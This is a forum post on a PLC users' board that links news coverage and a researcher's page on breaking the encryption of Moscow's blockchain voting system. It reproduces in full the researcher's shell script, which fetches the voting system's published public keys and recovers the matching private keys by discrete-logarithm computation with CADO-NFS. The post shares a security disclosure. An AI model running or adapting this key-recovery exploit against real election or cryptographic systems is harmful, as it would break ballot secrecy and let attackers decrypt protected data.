plc.myforum.ro :: système de vote basé sur la blockchain de Moscou

plc.myforum.ro
PLCs users www.plc.myforum.ro!

FAQ

Memberlist

Usergroups

Profile

système de vote basé sur la blockchain de Moscou

plc.myforum.ro Forum Index -> Safety

View previous topic :: View next topic

Author

Message

gaesra
Junior
Junior

Joined: 22 Jul 2019
Posts: 1

Posted: 01/09/2019 08:11 Post subject: système de vote basé sur la blockchain de Moscou

Un chercheur français en sécurité découvre une vulnérabilité dans le système de vote basé sur la blockchain de Moscou
https://securite.developpez.com/actu/274548/Un-chercheur-francais-en-securite-decouvre-une-vulnerabilite-dans-le-systeme-de-vote-base-sur-la-blockchain-de-Moscou-environ-un-mois-avant-la-tenue-des-elections/

Breaking the encryption scheme of the Moscow internet voting system
https://members.loria.fr/PGaudry/moscow/

a shell script for the attack

[ This script can be downloaded from this link to avoid issues with html encoding. ]

Code:

## These are commands to be run on a Linux machine (Debian or Ubuntu).
## The main workhorse for the discrete logarithm computations is CADO-NFS,
## and we use GP-Pari as a 'pocket calculator' for modular arithmetic.

# install some packages
sudo apt install pari-gp jq
sudo apt install libgmp3-dev gcc g++ cmake libhwloc-dev
alias gpnoc="gp -q --default colors=\"no\""

# download and compile cado-nfs
cd /tmp
git clone https://scm.gforge.inria.fr/anonscm/git/cado-nfs/cado-nfs.git
cd cado-nfs
# A previous version of this script was using version fdae0f9f382 of
# CADO-NFS, but this was not robust.
git checkout 6b3746a2ec27 # version of 16/08
make cmake
make -j 4

# download blockchain-voting and extract public keys
cd /tmp
git clone https://github.com/moscow-technologies/blockchain-voting.git
cd blockchain-voting
git checkout d70986b2c4da # most recent version at the time of writing
cd /tmp

# loop on the 3 public keys; could be done in parallel on 3 machines.
for i in {0,1,2}; do

start=`date +%s`
# extract the public key information
p=`jq .modulos[$i] /tmp/blockchain-voting/encryption-keys/keys/public-key.json | tr -d \"`
g=`jq .generators[$i] /tmp/blockchain-voting/encryption-keys/keys/public-key.json | tr -d \"`
h=`jq .publicKeys[$i] /tmp/blockchain-voting/encryption-keys/keys/public-key.json | tr -d \"`
ell=`echo "($p-1)/2" | gpnoc`

# run cado-nfs to get log of h (takes a few minutes)
wdir=`mktemp -d /tmp/cadorunXXXXXX`
log_h=`/tmp/cado-nfs/cado-nfs.py -dlp -ell $ell workdir=$wdir target=$h $p`

# run again to get log of generator (faster, since it reuses precomputed data)
log_g=`/tmp/cado-nfs/cado-nfs.py $wdir/p75.parameters_snapshot.0 target=$g`

# deduce private key
x=`gpnoc <<EOF
xell=lift(Mod($log_h,$ell)/Mod($log_g,$ell)); half=lift(1/Mod(2,$ell));
x0=lift(Mod(2*half*xell, 2*$ell)); h0=lift(Mod($g,$p)^x0);
if (h0 != $h, x0=lift(Mod(2*half*xell+$ell, 2*$ell)));
x0
EOF`

stop=`date +%s`
echo "Private key number $((i+1)) is $x, computed in $((stop-start)) seconds."
done

Display posts from previous:

	plc.myforum.ro Forum Index -> Safety	All times are GMT + 2 Hours
Page 1 of 1

Jump to:

You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum